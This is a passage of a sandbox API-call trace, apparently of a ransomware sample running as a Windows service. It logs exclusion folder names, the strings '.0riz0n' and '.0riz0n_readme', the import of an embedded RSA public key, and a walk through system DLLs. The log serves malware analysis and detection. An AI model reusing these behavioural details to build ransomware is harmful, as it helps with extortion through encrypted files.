BaseAddress=0x18d5e8) returned 1 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d298 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c168 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2d8 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1b0 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d2c8 [0227.111] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c1f8 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c5e8) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d248) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c630) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d238) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c678) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d228) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c6c0) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d218) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c708) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d208) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c750) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d1e8) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c798) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d1f8) returned 1 [0227.111] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb5058) returned 1 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1f8, cbMultiByte=25, lpWideCharStr=0x18dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c1b0, cbMultiByte=12, lpWideCharStr=0x18db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0227.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c168, cbMultiByte=8, lpWideCharStr=0x18dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c120, cbMultiByte=6, lpWideCharStr=0x18dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c240, cbMultiByte=11, lpWideCharStr=0x18dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpWideCharStr=0x18deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c288, cbMultiByte=11, lpWideCharStr=0x18df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0227.112] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xcb2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0227.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=14, lpWideCharStr=0x18dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0227.112] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xcb2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=10, lpWideCharStr=0x18e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0227.113] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xcb2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=15, lpWideCharStr=0x18e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0227.113] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xcb2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb2850, cbMultiByte=56, lpWideCharStr=0x18e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb5058, cbMultiByte=7, lpWideCharStr=0x18e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0227.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcb5058, cbMultiByte=14, lpWideCharStr=0x18e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0227.113] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0227.113] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x58f8c8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x58f8c8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0227.114] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xcb7cf8, pcbBinary=0x58f8c8, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xcb7cf8, pcbBinary=0x58f8c8, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0227.114] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xcb7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x58f8c8 | out: pvStructInfo=0x0, pcbStructInfo=0x58f8c8) returned 1 [0227.118] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xcb7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xcb7f40, pcbStructInfo=0x58f8c8 | out: pvStructInfo=0xcb7f40, pcbStructInfo=0x58f8c8) returned 1 [0227.118] CryptImportPublicKeyInfo (in: hCryptProv=0x25e3b8, dwCertEncodingType=0x10001, pInfo=0xcb7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xcb7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xcb7f78*, PublicKey.cUnusedBits=0x0), phKey=0x58f8cc | out: phKey=0x58f8cc*=0x25db78) returned 1 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb7f40) returned 1 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb7cf8) returned 1 [0227.119] ReleaseMutex (hMutex=0xa0) returned 1 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb5058) returned 1 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb5058 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c900 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c900) returned 1 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb5058) returned 1 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2800) returned 0xcb5058 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c900 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c900) returned 1 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c900 [0227.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e1e0 [0227.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c900, cbMultiByte=9, lpWideCharStr=0x18e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0227.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e268 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e1e0) returned 1 [0227.119] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e268) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c900) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb5058) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb2850) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d258) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c240) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d268) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d278) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d288) returned 1 [0227.120] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18d5e8) returned 1 [0227.120] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0227.120] StartServiceCtrlDispatcherW (lpServiceTable=0x58f994*(lpServiceName="", lpServiceProc=0x37d040)) [0250.839] SetServiceStatus (hServiceStatus=0x25e350, lpServiceStatus=0x58f894*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 932 os_tid = 0x910 Thread: id = 933 os_tid = 0x914 Thread: id = 934 os_tid = 0x918 Thread: id = 935 os_tid = 0x91c [0227.182] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x37ce51) returned 0x25e350 [0227.182] SetServiceStatus (hServiceStatus=0x25e350, lpServiceStatus=0x186fce8*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0227.219] GetCommandLineW () returned="C:\\Windows\\System32\\vds.exe" [0227.219] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e268 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5c) returned 0x18dd28 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e1e0 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e2f0 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e378 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e400 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e488 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e510 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e598 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e620 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e6a8 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e730 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e7b8 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x100) returned 0xcb7cf8 [0227.220] GetSystemWow64DirectoryW (in: lpBuffer=0xcb7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0227.220] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb7cf8) returned 1 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e840 [0227.220] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e840) returned 1 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e840 [0227.220] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x186fa44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x186fa44) returned 0x25fd68 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.220] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.220] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.220] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.220] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.221] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.221] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x18c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.222] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.222] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.222] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.222] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.222] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.222] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.223] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e950) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.223] FindNextFileW (in: hFindFile=0x25fd68, lpFindFileData=0x186fa44 | out: lpFindFileData=0x186fa44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e950 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.223] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, 